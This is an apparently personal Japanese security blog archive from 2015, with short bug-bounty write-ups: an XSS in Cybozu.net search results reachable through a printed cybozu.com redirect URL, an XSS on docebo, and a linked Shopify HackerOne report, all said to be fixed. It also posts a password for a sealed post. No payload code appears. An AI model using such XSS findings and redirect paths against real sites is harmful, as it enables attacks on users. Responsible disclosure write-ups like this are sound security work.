http://shhnjk.hatenablog.com/entry/2015/06/06/071735

パスワードはavayaです。

正しいパスワードを入れるとLocalStorageを消さない限りもう一度パスワードを求められることはありません。もしもう一度パスワード入力画面を見たい場合は以下のようにResouceからLocalStorageに行き、keyを右クリックしてDeleteを押しましょう。



何かの参考になればとてもうれしいです。See you!

2015年5月27日水曜日

Cybozu.netに存在したXSS

かなり普通のXSSを見つけただけなのですが一応詳細を書きます。

今回見つけたXSSはCybozu.comではなくCybozu.netにありました。

もちろんCybozu.netは報奨金制度の対象外なのですが、実はCybozu.netの検索結果ページはCybozu.comから以下のようにしてリダイレクトが可能です。

https://AnySubdomain.cybozu.com/o/ag.cgi?page=BizSearchRedirect&text=検索ワード&category=internet&ct=1

今回はその検索結果表示ページにXSSの脆弱性がありました。

脆弱性発見の経緯

Cybozu Officeの脆弱性を探していた時にインターネット検索のリンクを見つけました。






インターネット検索をクリックするとCybozu.netの検索結果が表示されました。


すると「hahaha」のウェブ検索結果という文があったため、ありえないとは思いましたがscriptで検索してみると...


あ~!!!あれ??でもさっきの文はちゃんとエスケープされてる...しかし調べてみたら検索結果自体がエスケープされてませんでした笑
ということでインターネット上に書かれたHTMLやJavascriptを検索すれば何でも表示してくれていました。
バグを報告してから1ヶ月後にこれを書こうと思ったら、もう修正されてましたwなのでスクショは1つのみ。
しかしiframeなども表示できたので検索結果にスライドが出てきたりしてました笑
2015年からCVSS v2基本値が5.0となるXSSの脆弱性は10万円貰えるようになったらしく、10万円頂きました。更に謝辞掲載して頂きました。

Cybozuさん、ありがとうございました!

2015年5月23日土曜日

カジュアルな流行に乗ってみた。

勝手ながら本投稿は封印させて頂きました。

どうしても見たい方は以下に封印された投稿があります。

http://shhnjk.hatenablog.com/entry/2015/06/02/044001

パスワード

doceboにあったXSS。

doceboはE-learningのシステムを提供している会社です。
ニュースレターがうるさいので解除しようと思いサイトに行きました。














あれ??
ということで報告しときました。

メールの返信がこないのでチェックしたら修正されてました笑

次は報告してやんないからな!笑

すみません。。。次こそは、ちゃんとしたやつ書きますから!w

2015年5月18日月曜日

Shopify.comから500$頂きました~。

https://hackerone.com/reports/57125

説明がめんどくさいので上記のリンクを見て下さい!
なんでもありか~w次回はちゃんとした投稿します!

ブログ始め(ようかと思って)ます!

Enjoy! (はせがわさんの真似)